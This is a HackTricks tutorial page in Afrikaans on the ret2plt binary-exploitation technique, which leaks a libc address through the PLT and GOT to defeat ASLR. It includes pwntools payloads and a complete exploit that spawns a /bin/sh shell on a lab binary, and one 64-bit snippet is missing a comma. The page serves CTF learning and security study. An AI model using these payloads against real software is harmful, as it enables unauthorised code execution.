Ret2plt
Reading time: 3 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die doel van hierdie tegniek is om 'n adres van 'n funksie uit die PLT te lek om ASLR te kan omseil. Dit is omdat, as jy byvoorbeeld die adres van die funksie puts
uit die libc lek, jy dan kan bereken waar die basis van libc
is en offsets kan bereken om toegang te verkry tot ander funksies soos system
.
Dit kan gedoen word met 'n pwntools
payload soos (van hier):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Let op hoe puts
(met die adres van die PLT) aangeroep word met die adres van puts
wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts
die GOT-invoer van puts druk, hierdie invoer die presiese adres van puts
in geheue sal bevat.
Let ook op hoe die adres van main
in die uitbuiting gebruik word, sodat wanneer puts
sy uitvoering beëindig, die binarie weer main
aanroep in plaas van om te verlaat (sodat die gelekte adres geldig sal bly).
caution
Let op hoe om dit te laat werk, die binarie kan nie met PIE gekompileer word nie of jy moet 'n lek gevind het om PIE te omseil om die adres van die PLT, GOT en main te ken. Andersins moet jy eers PIE omseil.
Jy kan 'n volledige voorbeeld van hierdie omseiling hier vind. Dit was die finale uitbuiting van daardie voorbeeld:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Ander voorbeelde & Verwysings
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64-bis, ASLR geaktiveer maar geen PIE nie, die eerste stap is om 'n oorgang te vul tot die byte 0x00 van die canary om dan puts aan te roep en dit te lek. Met die canary word 'n ROP gadget geskep om puts aan te roep om die adres van puts van die GOT te lek en dan 'n ROP gadget om
system('/bin/sh')
aan te roep. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64-bits, ASLR geaktiveer, geen canary nie, stap oorgang in hoof vanaf 'n kind funksie. ROP gadget om puts aan te roep om die adres van puts van die GOT te lek en dan 'n een gadget aan te roep.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.